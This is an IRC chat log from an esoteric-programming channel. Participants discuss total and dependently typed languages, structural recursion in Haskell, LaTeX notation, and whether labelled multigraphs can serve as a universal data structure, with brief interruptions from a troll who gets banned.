19:12:11 <AnMaster> wasn't there a discussion about implementing it sometime during 2007?
19:13:02 <AnMaster> well, I wish you best of luck
19:13:16 <alise> i really do believe I need scarf to do it though :P
19:13:25 <AnMaster> alise, why?
19:13:35 <AnMaster> because it needs 10-valued logic?
19:13:38 <AnMaster> and he knows VHDL?
19:13:45 <alise> no, because he has thought about it a lot and has lots of answers
19:13:52 <alise> plus a potentially TC model of execution (it doesn't actually have one)
19:13:56 <alise> (you have to derive it from the drinking game)
19:13:58 <AnMaster> why on earth has he spent time on it
19:14:04 <alise> he was trying to implement it
19:14:08 <AnMaster> why
19:14:09 <AnMaster> :/
19:14:15 <alise> look at the channel name
19:14:17 <alise> look at our wiki
19:14:18 <alise> then GTFO
19:14:26 <MissPiggy> lol
19:14:33 <AnMaster> alise, yeah but I think it is impossible
19:14:36 <alise> turkey bomb, like everest, was there.
19:14:38 <alise> AnMaster: no, it isn't
19:14:45 <alise> almost certainly not
19:14:51 <AnMaster> very well then
19:15:12 <AnMaster> alise, implement it in intercal then
19:15:21 <alise> why?
19:15:30 <AnMaster> alise, it will be next to impossible
19:15:36 <AnMaster> even if not actually impossible
19:15:44 <AnMaster> malbolge if that isn't hard enough
19:16:20 <alise> no
19:16:24 <alise> you are greatly overestimating its difficulty
19:17:24 <MissPiggy> I DONt know what TURKEY BONB is
19:18:16 <AnMaster> MissPiggy, ffs... see link above
19:18:24 <MissPiggy> ?
19:18:35 <AnMaster> MissPiggy, /lastlog http://
19:18:44 <AnMaster> look for one containing turkeyb
19:18:59 <AnMaster> MissPiggy, now I'm not going to give you any more info than that
19:19:07 <MissPiggy> yck
19:19:14 <AnMaster> was that "thanks"?
19:19:18 <MissPiggy> no
19:19:22 <AnMaster> then what was it
19:19:57 <AnMaster> MissPiggy, also it is on the esolang wiki I bet
19:20:07 <alise> unlike AnMaster, I am not a blithering jerk
19:20:08 <alise> http://catseye.tc/projects/turkeyb/doc/turkeyb.html
19:20:11 <MissPiggy> loll
19:20:15 <AnMaster> alise, hey you do that to me
19:20:21 <AnMaster> so stop claiming not being a jerk
19:20:25 <alise> yes because i like irritating you :)
19:20:41 <MissPiggy> Animated from the cover of an edition of New Scientist magazine, February 1977.
19:20:44 <MissPiggy> ... (more info)
19:20:45 <AnMaster> alise, discrimination
19:20:47 <MissPiggy> (less info)
19:20:48 <MissPiggy> Mrs Smith teaches the blind baby to see
19:20:56 <alise> AnMaster: yes.
19:21:03 <AnMaster> MissPiggy, also http://esoteric.voxelperfect.net/wiki/TURKEY_BOMB
19:24:39 -!- tombom has joined.
19:29:06 <alise> It would be nice if my language was a language to describe values of certain types, and have certain values be programs that result in values of certain types, maybe.
19:29:14 <alise> Although in a total language, I guess they're the same.
19:34:27 <cpressey> alise: Hey, that sounds like my language.
19:35:00 <alise> "My language", said by Chris Pressey; one of the most ambiguous statements ever made?
19:35:07 <MissPiggy> lol
19:35:56 <cpressey> OK, OK! The "for real" language I want to do but never will.
19:36:29 <cpressey> But what do you mean by "total language"?
19:36:36 <alise> Well, Lisp fits the description, if you say that there's only one type.
19:36:42 <alise> (Which lets you model untyped languages.)
19:37:02 <alise> cpressey: A total language is a functional programming language without general recursion; structural recursion is instead substituted. All programs halt.
19:37:08 <scarf> total implies that every expression has a result (no exceptions, no infinite loops)
19:37:19 <alise> (You can have TCness, though, with coinductive data types and even emulate non-totality with a partiality monad. It's Complicated.)
19:37:43 <alise> Basically, e.g. Natural in a regular FP lang is Natural | Bottom
19:37:44 <scarf> well, a strictly total language can't be TC
19:37:48 <cpressey> OK, that's what I thought.
19:37:49 <alise> Bottom = nontermination,
19:37:56 <alise> errors, etc.
19:37:58 <scarf> but you can have an almost-total language which is
19:38:01 <alise> cpressey: It's good because you can adorn it with dependently-typed languages, and get a constructivist proof system.
19:38:08 <alise> Types = propositions; values = proofs.
19:38:23 <alise> Otherwise "let x = x in x" is a proof of anything, which is rubbish. And if you have dependent types and non-totality, typechecking can loop forever.
19:38:34 <alise> scarf: Well, it's the magic of codata.
19:39:08 <cpressey> For a lot of stuff I'm happy with merely primitive recursive. I wrote a totality-checker for Scheme programs in Scheme once. I wrote it in PR style and it passed its own check.
19:39:32 <alise> It's sufficient for anything w/ a partiality monad etc.
19:39:41 <alise> If you've used Agda, Coq, or Epigram; they're all total.
19:39:49 <alise> Most of the time you don't even notice.
19:41:19 <scarf> cpressey: oh, a program to see if a program is primitive-recursive or not?
19:41:28 -!- tombom_ has joined.
19:41:44 <cpressey> scarf: Well, written in a certain PR style, yes. there are probably PR programs that it wouldn't see
19:41:50 <scarf> ah, ok
19:42:10 <cpressey> But if it's not PR, it would tell you that.
19:42:34 <alise> The "pure" way to do it is to define one inductive data type and base them all on that.
19:42:45 <alise> data Mu f = Mu (f (Mu f)), basically.
19:42:52 <alise> And then a function to deconstruct such types recursively.
19:42:57 <alise> Plus no actual recursion facility.
19:43:14 <scarf> hmm, ⅋ is a great punctuation mark
19:43:35 -!- tombom has quit (Ping timeout: 246 seconds).
19:43:52 <cpressey> alise: I have ... different ideas about type systems.
19:44:41 <alise> cpressey: That's nice.
19:44:45 <alise> cpressey: Such as? :P
19:45:03 <cpressey> I mean, type checking is a kind of static analysis, and all static analyses (incl but not limited to type checking) can be expressed in terms of abstract interpretation.
19:45:14 <alise> Well... yes. But that's at a metalevel to what I'm talking about.
19:45:19 <alise> Are you familiar with dependent types at all?
19:45:31 <cpressey> Well, kind of. Yes, passingly familar.
19:46:12 <alise> Yeah. The difference in perspective when you just add dependent types is immense.
19:47:03 <lament> it's like you're on acid while everyone else is merely drunk.
19:47:41 <scarf> hmm, one thing I'd like to do someday is to redo Splint, but properly
19:47:51 <alise> lament: EXACTLY
19:47:54 <scarf> as in, actually working, and with a set of types rich enough to actually describe interesting programs
19:48:00 <cpressey> Well, what I'm getting at is, I'd like to design a language without any particular type system, and let different type systems be "plugged in", by allowing them to be written in some kind of annotation language for abstract interpretation.
19:48:24 <cpressey> That would in no way preclude the use of dependent types...
19:49:11 <alise> That sounds fun.
19:50:05 <AnMaster> alise, what is your opinion on ipad btw? Now that it isn't as new any longer, and there are (maybe) some reviews out there
19:50:06 <cpressey> Not too different from just saying "Here's my dynamically typed language, y'all write your own linters for it plz k thx", except a little less hands-off
19:50:44 <alise> AnMaster: It's probably good at what it does and it's damn flashy, but what it does isn't what I want to do.
19:51:07 <AnMaster> alise, Right. Someone linked me this image (related to this): http://thismight.be/offensive/uploads/2010/03/01/image/288902_Think%20different.jpg
19:51:19 <AnMaster> not actually offensive (as the url would indicate)
19:51:27 <AnMaster> well, maybe to apple fanboys
19:51:29 <alise> :D
19:51:31 <AnMaster> totally SFW though
19:51:32 <alise> iSpace
19:51:39 <AnMaster> alise, ooh that would be the next step
19:51:49 <alise> a totally flat 2d plane underneath all of space itself
19:51:53 <alise> then...
19:51:55 <alise> iCube
19:51:57 <alise> then...
19:51:58 <alise> iUniverse
19:52:01 <alise> (filling in the corners)
19:52:11 <AnMaster> heh
19:55:25 <AnMaster> bbl
19:55:32 <alise> newtype Mu f = Mu (f (Mu f))
19:55:32 <alise> data Nat nat = Succ nat
19:55:32 <alise> instance (Show nat) => Show (Nat nat) where
19:55:33 <alise> show (Succ n) = "Succ (" ++ show n ++ ")"
19:55:33 <alise> instance (Show (f (Mu f))) => Show (Mu f) where
19:55:33 <alise> show (Mu x) = show x
19:55:36 <alise> You wouldn't believe it, but this actually works.
19:55:46 <cpressey> There are some other cool methods for termination analysis that have come out of term-rewriting research. I wanted to play with those in Scheme, but I balked at reworking the Scheme semantics into a rewrite system...
19:55:47 <MissPiggy> does it need flexible instance
19:55:54 <alise> yes; and undecidable instances too
19:56:03 <alise> Mutually recursive typeclass instances. Fuck yeah.
19:56:42 -!- mrbug has left (?).
20:01:10 <cpressey> I totally do not get it. Well, not totally. Actually I get the idea. Just not the mechanics.
20:01:44 <cpressey> Then you have to realize, I'm living in a code-world where people still say things like d["%s_%s" % (a, b)] = c
20:02:04 <cpressey> I thought that sort of stuff died with Perl 4
20:03:18 <scarf> that isn't legal Perl4, surely?
20:03:45 <cpressey> Ah, no, in Perl 4 it would be $d{"$a_$b"} = $c;
20:03:53 <cpressey> But the IDEA is Perl 4-ish.
20:04:21 <cpressey> Because when you can't store a dictionary inside a dictionary, well, you compose keys.
20:04:21 <scarf> you'd write it $d{$a,$b} = $c
20:04:31 <scarf> where, instead of using _ to compose the keys, it uses the value of $;
20:04:42 <scarf> which is by default ASCII 28, on the basis that you probably weren't using it for anything else
20:04:59 <cpressey> That would be better style, then.
20:05:07 <alise> brb
20:05:09 <scarf> typical nowadays would be $d{$a}->{$b} = $c
20:05:19 <scarf> and unlike C, you don't have to set up all the subhashes, they autovivify
20:05:29 <scarf> so messing with $; is rather deprecated nowadays
20:07:25 <cpressey> scarf: That's exactly my point, or at least part of it. This is Python, where there is no such restriction against storing dicts in dicts. Why are keys being computed? Makes them hell to cross-reference.
20:07:39 <scarf> cpressey: ah
20:08:29 <cpressey> Sort of my higher point was, in this world, decidable *anything* is a dream -- dependent types are too much to hope for...
20:13:27 <cpressey> otoh, when the type system is C++'s, ... I'm sure that's hardly better...
20:16:07 <alise> cpressey: I'm a pessimist, so of course I realise that the only way any of this can work is in my grand unified redesign of all of computing. A pessimistic idealist. What a thing.
20:16:32 <scarf> alise: hey, I'm a /cynical/ idealist, which is even more ridiculous
20:16:57 <MissPiggy> what
20:17:01 <MissPiggy> dependent types are real
20:17:13 <cpressey> I used to be a pessimist idealist, and I probably should have stayed one.
20:17:27 <scarf> cpressey: what are you now?
20:17:32 <alise> MissPiggy: he never denied that
20:17:38 <cpressey> Well, maybe I still am, at heart.
20:18:08 <cpressey> scarf: Now I'm up a certain creek without a paddle :)
20:18:26 <cpressey> Hey, there's that pessimism coming back!
20:19:45 <cpressey> MissPiggy: Yes, in case there was any confusion, I meant only that people *using* dependent types in 90%+ of the industry is a pipe dream.
20:20:24 <MissPiggy> o_o
20:20:39 <alise> uh oh, here it comes
20:20:47 <scarf> I think BF compilers should use dependent types
20:20:56 <scarf> and dependent type inference
20:21:07 <scarf> in order to work out what a program is actually doing, rather than just peephole-optimising
20:22:37 <pikhq> But peephole optimisation is so very *easy*!
20:23:06 <scarf> yep
20:24:11 <Ilari> Does this connection still work?
20:24:45 <Ilari> Ah, apparently it does...
20:26:48 <olsner> either that or you're imagining things
20:27:54 <Ilari> dhcpcd took a SIGKILL and then was restarted...
20:28:46 <AnMaster> alise, what is tex for dot product?
20:28:53 <alise> \cdot?
20:28:56 <AnMaster> ah thanks
20:29:21 <AnMaster> alise, and normal product?
20:29:31 <alise> \times...
20:29:35 <AnMaster> oh ffs
20:29:39 <AnMaster> I'm too tired for this
20:29:43 <alise> :D
20:29:48 <AnMaster> alise, wait isn't that vector product?
20:29:56 <AnMaster> I mean, a non-vector related scalar product
20:30:28 <alise> er... you mean juxtaposition?
20:30:32 <AnMaster> what?
20:30:39 <alise> i'm trying to account for your tiredness here :)
20:30:42 <Gregor> The scalar product of three and three is nine :P
20:30:59 <AnMaster> alise, you know: scalar*scalar→scalar vector*vector→scalar and vector*vector→vector
20:31:03 <AnMaster> three different products
20:31:12 <AnMaster> I need three different symbols to not confuse things
20:31:14 <alise> product of a and b is ab
20:31:19 <alise> where a and b are scalars
20:31:21 <alise> :P
20:31:28 <AnMaster> alise, yeah and product of |a| and |b| is unreadable
20:31:34 <alise> tough shit
20:31:36 <AnMaster> |a||b|
20:31:36 <alise> use \times
20:31:41 <cpressey> use the word "times"
20:31:45 <alise> even http://en.wikipedia.org/wiki/Dot_product says |a| |b|
20:31:49 <alise> just deal with it
20:31:52 <AnMaster> cpressey, NO the point of this is unicode
20:32:12 <alise> if you want add some spacing
20:33:08 <AnMaster> hm that could work
20:36:18 <fizzie> Silly alternatives: use the explicit a^T b for the dot product, then you can use the center-dot for multiplying scalars if you really need something there. Or the angle brackets for general inner product in place of the dot product, and the same thing.
20:37:48 <fizzie> Personally I think the spacing of \left|a\right| \left|b\right| at least here is readable enough; there's a natural gap in-between, and the |s are closer to the letters than other |s.
20:38:14 <fizzie> If you just write it as "|a||b|" then it won't look right, of course.
20:38:25 <scarf> |a|b|
20:38:37 <alise> plus :: Nat -> Nat -> Nat
20:38:37 <alise> plus x = rec (\_ -> x) (\_ z -> suc z)
20:38:37 <alise> times :: Nat -> Nat -> Nat
20:38:38 <alise> times x = rec (\_ -> zero) (\_ z -> plus x z)
20:38:38 <alise> Fuck yeah, structural recursion
20:38:43 <MissPiggy> fuck YOU!
20:38:49 <alise> what
20:40:02 <Gregor> That was an offer, not an insult.
20:41:03 <alise> > fact (suc (suc (suc zero)))
20:41:03 <alise> (Zig ())
20:41:04 <alise> NOT SO SUCCESSFUL
20:42:08 <MissPiggy> faftstawfpa4d
20:42:23 <MissPiggy> alise what should I code
20:42:50 <alise> a core total, dependently-typed language! like I'm doing except in Haskell!
20:58:40 <cpressey> I give up.
20:58:47 <cpressey> This code makes my soul bleed.
20:58:58 <alise> cpressey: Eat some functionality.
20:59:04 <alise> It has good warming properties.
20:59:10 <cpressey> Mmm.
20:59:34 * cpressey listens to some KMFDM
21:00:47 -!- lament has quit (Ping timeout: 256 seconds).
21:01:42 -!- lament has joined.
21:02:07 -!- Oranjer has joined.
21:09:33 <alise> I really need to unify my uber-simple-auto-optimised-language-with-everything-as-one-basic-structure-that-acts-as-values-as-types-and-certain-values-being-programs omegalanguage with my total-functional-dependent-types-oh-me-oh-my omegalanguage.
21:10:43 <Oranjer> well, hypothetically, how would someone unify chinese and english?
21:11:09 <alise> They wouldn't. But natural languages are mishmash and already extant; these are mere concepts that I can bend to my will.
21:11:34 <alise> I guess I could use directed graphs for the former - a graph is the type of the graph of the same structure, the type of something like 42 is the ur-element of natural numbers; either 0 or 1+1+1+1... = infinity.
21:11:49 <alise> The type of a list of as would be [urelement a]
21:11:55 <alise> Although lists would just be sugar over graphs
21:11:59 <alise> In fact, everything would be.
21:13:13 <alise> Is there a unicode character that's like => without the =?
21:13:21 <alise> Just a very small straight two lines and then >
21:14:18 <Oranjer> http://www.symbols.com/encyclopedia/04/index.html
21:14:26 <Oranjer> it might be here, beats me
21:14:41 <alise> Nope.
21:15:11 <alise> What do you call a digraph with named arcs?
21:15:23 <alise> Well, just arcs with an extra piece of info attached to them that no other arc with the same head shares, I guess.
21:16:47 <cpressey> I don't know if it has a particular name.
21:17:08 <Oranjer> annotated, heh
21:17:21 <cpressey> A digraph with labelled edges, is actually what I'd probably call iot
21:17:23 <cpressey> it
21:18:17 <alise> Methinks it is the fundamental structure of everything.
21:18:41 <alise> A list is 'head -> x. 'tail -> another list. A vector is 0,1,2,... -> element.
21:18:59 <alise> A natural is 'pred -> another natural or 'zero.
21:19:09 <AnMaster> Long live ASCII bells
21:19:16 <AnMaster> (now how many got beeped by that?)
21:19:29 <alise> Not i.
21:19:30 <alise> *Not I
21:19:35 <AnMaster> well I didn't expect that
21:19:55 <alise> An unordered set has no annotations.
21:20:03 <alise> So I guess the annotation is optional? But that seems rubbish.
21:20:23 <Gregor> ASCII bells, ASCII bells, ASCII all the way
21:20:26 <alise> Also, I still need to define a way to reduce graphs to do computation.
21:20:31 <Gregor> Oh what fun it is to ASCII all your console friends awaaaay
21:20:35 <Oranjer> "A weighted digraph is a digraph with weights assigned for its arcs"
21:20:57 <alise> But they're not weights, just arbitrary tags
21:21:35 -!- SimonRC has quit (Ping timeout: 265 seconds).
21:21:54 -!- coppro has joined.
21:22:12 -!- MigoMipo has quit (Quit: When two people dream the same dream, it ceases to be an illusion. KVIrc 3.4.2 Shiny http://www.kvirc.net).
21:23:16 <Oranjer> arbitrary usually means optional, sometimes
21:24:05 <alise> totalAge 'people :> {+ ::> people ? 'age}
21:24:09 <alise> I think.
21:25:46 <alise> http://pastie.org/848777.txt?key=ohkyy1lvvdow7fk8lxaraq
21:25:49 <alise> A drawing of that graphs.
21:25:50 <alise> *graph
21:26:54 <cpressey> alise: Whatever you're talking about is reminding me of Category Theory.
21:27:04 <cpressey> Arrows, arrows, arrows.
21:27:04 <alise> Category theory is fun but not what I'm on about.
21:27:09 <alise> It's just graphs.
21:27:12 <MissPiggy> god damn it people irritate me so much
21:27:13 <cpressey> Arrows?
21:27:25 <alise> Basically I'm trying to figure out the most elegant way of doing computation with graphs on graphs.
21:27:37 <scarf> arrows and monads!
21:27:57 <cpressey> Graphs.
21:27:57 <scarf> alise: I like the eodermdrome method, but there's probably another
21:28:49 <alise> scarf: yes, well, mine's meant to be not so ridiculous :)
21:28:58 <alise> also, eodermdrome doesn't have cyclic graphs does it?
21:29:06 <scarf> abcda
21:29:10 <scarf> or is that not what you mean?
21:29:24 <alise> maybe it is
21:29:29 <alise> i mean graphs with internal cycles
21:29:30 <alise> hmm
21:29:31 <alise> tree :: {'left :> {'left :> 1; 'right :> 3}; 'right :> {'left :> 2; 'right :> 4}}
21:29:38 <alise> so i need anonymous nodes
21:29:43 <MissPiggy> wha tthe fuck isthat
21:29:46 <alise> so why not have /all/ nodes be anonymous :D
21:30:39 <cpressey> All nodes are anonymous; there is one distinguished node with named arc to all the "named" nodes, and those arcs contain the names.
21:31:35 <cpressey> Kind of hard to follow where alise wants to go with this design because the design space is so large...
21:31:51 <Oranjer> I've only seen anonymous nodes in a semantic web language, where the creator wishes to "reify" an edge--that is, treat it as a node
21:31:59 <alise> Basically, the idea is that your entire (operating) system, including every single thing you care about, is one gigantic graph-like of some sort.
21:32:03 <alise> Oranjer: RDF? yeah
21:32:09 <alise> N3 makes that quite easy
21:32:53 <alise> cpressey: Including all the relevant functions/drivers/programs (stored not as machine code ofc), their data, your data...
21:33:14 <cpressey> alise: Arrows? Graphs? Names.
21:33:17 <alise> So we need a graph structure that has some property related to the vague notion of "nesting", otherwise our namespaces will get clogged down.
21:33:30 <alise> And we need anonymous nodes, because naming every single piece of a nested data structure is ridiculous.
21:33:50 <alise> An acyclic graph is probably unworkable, as it means we have no pointers.
21:33:55 <cpressey> Pointers.
21:34:03 <alise> cpressey: wat
21:34:27 <cpressey> Every single piece of data is named, isn't it? Otherwise how do you get to it?
21:34:46 <cpressey> And by "named" I mean, there's pointers to it, from other pieces of data. Maybe not explicit ones.
21:35:00 -!- SimonRC has joined.
21:35:13 <alise> Good point.
21:35:39 <alise> Yes, you are right. Annotated arcs are the same thing as non-anonymous nodes.
21:35:40 <cpressey> Trying to put it into words... there are graphs everywhere already, but they're... what's the word? Latent?
21:35:57 <cpressey> And there are many, many ways to make them explicit.
21:36:49 <AnMaster> <Gregor> Oh what fun it is to ASCII all your console friends awaaaay <-- so you got beeped?
21:36:57 <Gregor> AnMaster: No
21:36:59 <AnMaster> ah
21:37:39 -!- Libster has joined.
21:39:39 <alise> http://pastie.org/848803.txt?key=bybdg9fl0pwv1vrtme9q
21:39:54 <alise> Annotated arcs and anonymous nodes: cancelling each other out since today.
21:40:12 <MissPiggy> alise shut up
21:40:18 <alise> ??
21:40:19 <alise> No?
21:40:21 <MissPiggy> stop taking your anger out on me
21:40:29 <alise> what
21:40:38 <alise> I haven't even mentioned your name in... forever?
21:40:40 <cpressey> I think it's actually my anger. alise is just borrowing it
21:40:46 <fizzie> AnMaster: My reasonably raw bip bouncer log doesn't show any suspicious ASCII characters in your long-live comment. I guess it's possible the log is filtered, but are you sure freenode's +c filtering doesn't remove ^G too?
21:40:49 <alise> MissPiggy: no but seriously what?
21:41:32 <AnMaster> fizzie, maybe it does since the ircd switch
21:41:35 <AnMaster> if so how sad
21:42:11 -!- Libster has left (?).
21:46:42 <fizzie> AnMaster: http://dev.freenode.net/ircd-seven/browser/include/inline/stringops.h#L57
21:46:59 <AnMaster> fizzie, sad
21:47:31 <alise> Hmm.
21:47:48 <alise> cpressey: My graphs have ceased entirely to be graphs at all, because you can have multiple nodes with the same value.
21:47:50 <alise> That isn't kosher, is it?
21:47:51 -!- Azstal has joined.
21:48:31 <cpressey> alise: Wait, I thought only the arcs had values? In which case 2 arcs with different labels can point to the same node, yes.
21:49:05 <cpressey> Not so different from symlinks...
21:49:15 <cpressey> Aliasing.
21:49:21 <alise> I realised that if you allow duplicate nodes, all anonymous nodes + annotated arcs = normal nodes + normal arcs.
21:49:25 -!- Asztal has quit (Ping timeout: 268 seconds).
21:49:34 <alise> But allowing duplicate nodes means it isn't a graph any more.
21:50:01 <cpressey> I suppose not.
21:50:20 <fizzie> You get from graph (set of nodes, set of edges) a multigraph if you make the edge-set a multiset, but I'm not sure what you get if you make the node-set a multiset too.
21:51:37 <fizzie> Possibly a multi²graph.
21:51:45 -!- adu has joined.
21:51:55 <alise> a directed multi^2graph might be what I want
21:52:07 <alise> obviously I want a multigraph, otherwise you couldn't have one object in two lists (right?)
21:52:24 <alise> In the mathematical discipline of graph theory, a graph labeling is the assignment of labels, traditionally represented by integers, to the edges or vertices, or both, of a graph.[1]
21:52:50 <fizzie> I haven't really been following the context in which your graph lives here; I was busy with my look-up table of ircd sources.
21:53:03 <alise> haven't found a graph-theory anonymous-graph though
21:53:09 <cpressey> alise: Of course you can't have one object in two lists. Unless a) those two lists share a tail, and the object is in the tail, or b) the list really only contains a pointer to the object.
21:53:25 <alise> Well it's a graph, everything is a pointer :P
21:53:43 <alise> Anyway, they can't share a tail unless you can have multiple pointers to one node
21:53:51 <cpressey> So what you want is the same point in two different lists!
21:53:56 <cpressey> *pointer
21:53:56 <alise> fizzie: Graphs as the most generalest of all data structures: http://pastie.org/848825.txt?key=das1exf0bvjldwzy6lmag
21:54:00 <alise> cpressey: Of course.
21:54:06 <alise> But the whole point of using a graph is that it "does pointers".
21:54:17 <cpressey> alise: But pointers *define* the list.
21:54:39 <cpressey> So the same pointer in 2 lists would mean they're actually the same list.
21:55:15 <cpressey> At least, that's how I see it...
21:55:21 <alise> I think we're thinking of the wrong thing
21:55:28 <alise> Consider the value fred. Doesn't matter what it is.
21:55:42 <alise> [fred,bob,lark] and [frak,fred,mogul]
21:55:57 <alise> This is impossible in a (non-multi)graph, because there are two arcs ending in fred.
21:56:28 <alise> Note that since we have no object identity we can just duplicate the object, but this sucks.
21:56:40 <cpressey> i.e. next(fred) isn't unique, right?
21:56:58 <alise> next(fred) has no meaning
21:57:00 <alise> I refer to a linked list
21:57:06 <alise> list of a = nil or cons(a, list of a
21:57:07 <alise> )
21:57:14 <alise> so we have
21:57:24 <alise> the list has two arcs
21:57:32 <alise> one to "head" (goes to "fred")
21:57:33 <cpressey> well, next(fred, [fred,bob,lark]) might have some meaning, for some defn of next()
21:57:36 <alise> one to "tail" (goes to [bob,lark])
21:57:46 <alise> cpressey: Then the issue is removed.
21:58:27 <cpressey> I'm not following ya, exactly... if lists are lists of names of objects, and fred is the name of an object, this is fine.
21:58:41 <cpressey> if fred is the object itself, then you can't say [fred,fred,fred]
21:58:48 <alise> Okay, let me show you the structure of a list.
21:59:39 <alise> http://pastie.org/848837.txt?key=t2z1krwvkltzmo8hmhizqw
21:59:46 <alise> "head" and "tail" are just symbols/atoms there
21:59:57 <alise> but "fred" just means that this arrow points to the fred node
22:00:00 <alise> imagine fred as another list
22:00:08 <alise> so we'd have
22:00:09 <alise> head
22:00:10 <alise> |
22:00:12 <alise> foo
22:00:16 <alise> / \
22:00:17 <alise> head tail
22:01:43 <alise> Maybe I am all wrong about everything.
22:02:29 -!- Libster has joined.
22:02:40 -!- ChanServ has set channel mode: +o lament.
22:02:42 -!- Libster has left (?).
22:02:47 <lament> too late
22:02:48 <alise> lol
22:02:53 -!- lament has set channel mode: -o lament.
22:03:15 <scarf> who's Libster?
22:03:18 <alise> a troll
22:03:25 <alise> (self-proclaimed; really bad at it)
22:03:26 -!- Libster has joined.
22:03:26 <scarf> we get trolls her?
22:03:29 <scarf> *here?
22:03:40 <cpressey> alise: http://pastie.org/848845.txt
22:03:41 <alise> scarf: only because MissPiggy got Libster and ...base3? annoyed or something a while ago
22:03:55 <alise> cpressey: Yes. But note that fred *is not a name*.
22:04:02 <cpressey> 'fred' and 'fred' can be the same node, if you like.
22:04:03 -!- Libster has set topic: alise sighting counter currently out of order | http://tunes.org/~nef/logs/esoteric/?C=M;O=D | lament sux.
22:04:04 <alise> Imagine both those head lines swirling around to wherever fred is, and latching on.
22:04:13 <cpressey> Sure.
22:04:17 <alise> So it's a multigraph.
22:04:18 -!- ChanServ has set channel mode: +o lament.
22:04:19 <alise> Or that would be impossible.
22:04:22 -!- lament has set channel mode: +b *!*Libster@*.bltmmd.east.verizon.net.
22:04:24 -!- scarf has set topic: alise sighting counter currently out of order | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
22:04:36 <alise> lol
22:04:37 <alise> spambot
22:04:37 -!- lament has set channel mode: -o lament.
22:04:40 <scarf> lament: is that the actual reason?
22:04:44 <scarf> I love your reasoning
22:04:57 <scarf> alise: you're right, that is /incredibly/ bad trolling
22:04:58 <alise> libster is a GLUT
22:05:06 -!- Quadrescence has joined.
22:05:06 <cpressey> alise: http://pastie.org/848850.txt ?
22:05:16 <alise> either he or base3 propositioned me for sex the first time (on this nick)
22:05:33 <alise> they are pretty colossally bad trolls
22:05:43 <alise> cpressey: no; the head of the second list points /away from the whole thing/
22:05:47 <alise> to whatever "fred" means in this context
22:05:49 <lament> that IS why you chose this nick, isn't it?
22:05:58 <alise> both heads are different arcs, ending at the same node
22:06:05 <alise> lament: well, partly.
22:06:14 <alise> also to topple the fascist english pronoun structure through sheer absurdity
22:06:20 <scarf> I don't see why you'd proposition random people for sex over IRC, given how unlikely it is you live within walking distance of each other
22:06:27 <alise> turns out people don't use gender-specific pronouns much on irc, though
22:06:38 <Oranjer> I actually use a spiral to indicate anonymous nodes, myself
22:06:38 <alise> scarf: Virtual reality is JUST ALONG THE CORNER
22:06:41 <alise> *AROUND
22:06:43 <alise> AROUND the corner
22:06:51 <scarf> alise: but then, you wouldn't need anyone real to have sex /with/
22:06:56 <coppro> scarf: Why did you change nicks?
22:07:07 <Quadrescence> hey are we talking about sex
22:07:07 <alise> Realistic sexbots: Harder than VR
22:07:11 <scarf> coppro: saw that this one wasn't taken, and thought I might as well
22:07:20 -!- coppro has changed nick to Cu.
22:07:23 <cpressey> alise: http://pastie.org/848855.txt
22:07:25 <Cu> fair enough :P
22:07:27 * alise is now known as nt
22:07:30 <alise> We're a perfect pair
22:07:34 <Cu> Quadrescence: unfortunately
22:07:36 <alise> cpressey: Yes. That's a multigraph.
22:07:39 <Cu> nt is not an element!
22:07:48 <Quadrescence> Cu is an element
22:07:50 <cpressey> alise: It is??
22:07:50 <scarf> Quadrescence: were you lurking here in the hope that the channel went offtopic?
22:08:01 <cpressey> I only see one node at the end of each arc...
22:08:05 -!- Cu has changed nick to Cn.
22:08:07 <Quadrescence> scarf: I'm not sure.
22:08:10 <Cn> aw, this one is taken
22:08:22 <Cn> I want my copernicium :(
22:08:23 <scarf> Quadrescence: that's a good enough answer, I suppose
22:08:25 -!- Cn has changed nick to coppro.
22:08:35 <alise> cpressey: In mathematics, a multigraph or pseudograph is a graph which is permitted to have multiple edges, (also called "parallel edges"[1]), that is, edges that have the same end nodes
22:08:41 <alise> *nodes.
22:08:45 <alise> QED
22:09:16 <coppro> Does this include directed graphs where the two edges go opposite directions?
22:09:37 <alise> Ooh, good question.
22:09:40 <Quadrescence> hm now we are talking about graphs
22:09:46 <alise> Graph sex.
22:09:49 <cpressey> I thought graphs can could not have edges that end in the same node were called "trees".
22:09:50 <alise> coppro: I would guess yes.
22:09:55 <cpressey> s/can/that/
22:10:14 <alise> cpressey: Yeah, because a tree can express cyclic structure, innit.
22:10:17 <alise> *structures
22:10:25 <alise> foo -> bar, bar -> baz, baz -> foo: A TREE
22:10:34 <coppro> aren't trees supposed to be acyclic?
22:10:39 <scarf> cpressey: if you can have two edges AB and AB, it's a multigraph; if you can have AB and also AC+CB, it's a normal graph; a tree, if you can get from A to B one way, even indirectly, you can't get there another way
22:10:39 <Quadrescence> coppro: yes
22:10:47 <Quadrescence> directed acyclic graph = tree
22:10:51 <cpressey> In my world, trees are acyclic, yes.
22:11:08 <coppro> Quadrescence: that's not strong enough
22:11:15 <alise> Right, so a non-acyclic non-multigraph graph is not a tree.
22:11:17 <coppro> imo
22:11:17 <alise> It's just a graph.
22:11:21 <Quadrescence> coppro: You could require more, but whatever
22:11:36 <coppro> Any vertex should only have one edge leading to it
22:11:47 <scarf> coppro: that's... K_2, or K_1
22:11:48 <lament> why say 'tree' when you can say 'directed acyclic plant'
22:11:53 <scarf> there are no other graphs with that property
22:11:56 <scarf> well, undirected ones
22:12:20 <augur> HEY GUYS
22:12:22 <augur> HOWSIT GOIN
22:12:31 <coppro> scarf: we're talking about directed ones
22:12:38 <cpressey> alise: I'm still confused; I don't see any edges "AB and AB" (scarf's words) in my diagram. So I don't see how it's a multigraph.
22:13:05 <cpressey> I see, uh, ABCD and AEFGHD, or something similar
22:13:13 <alise> maybe i read the words wrong
22:13:23 <alise> "that is, edges that have the same end nodes"
22:13:26 <alise> not same start nodes, no?
22:13:35 <alise> It's AB and CB. Maybe I am misinterpreting.
22:13:46 <cpressey> Well, I thought it was: two (direct) edges between the same two nodes.
22:13:59 <Quadrescence> In a tree, the path between the root and to another node must be unique
22:14:00 <cpressey> (AB and AB)
22:14:03 <Quadrescence> HOW IS THAT
22:14:27 <alise> cpressey: Considering the diagram on the page I concede; you are right.
22:14:41 <Quadrescence> http://www.youtube.com/watch?v=FJ3oHpup-pk
22:14:54 <alise> I think anonymous nodes + annotated arcs is best, because otherwise I have to have dummy nodes on lists like "list"
22:14:58 <augur> what are you people talking about
22:15:00 <augur> jesus
22:15:05 <alise> which is really just a stand-in for an anonymous node
22:15:19 <alise> and besides, what if the name node (= arc annotation) has multiple connections from it? that makes no sense
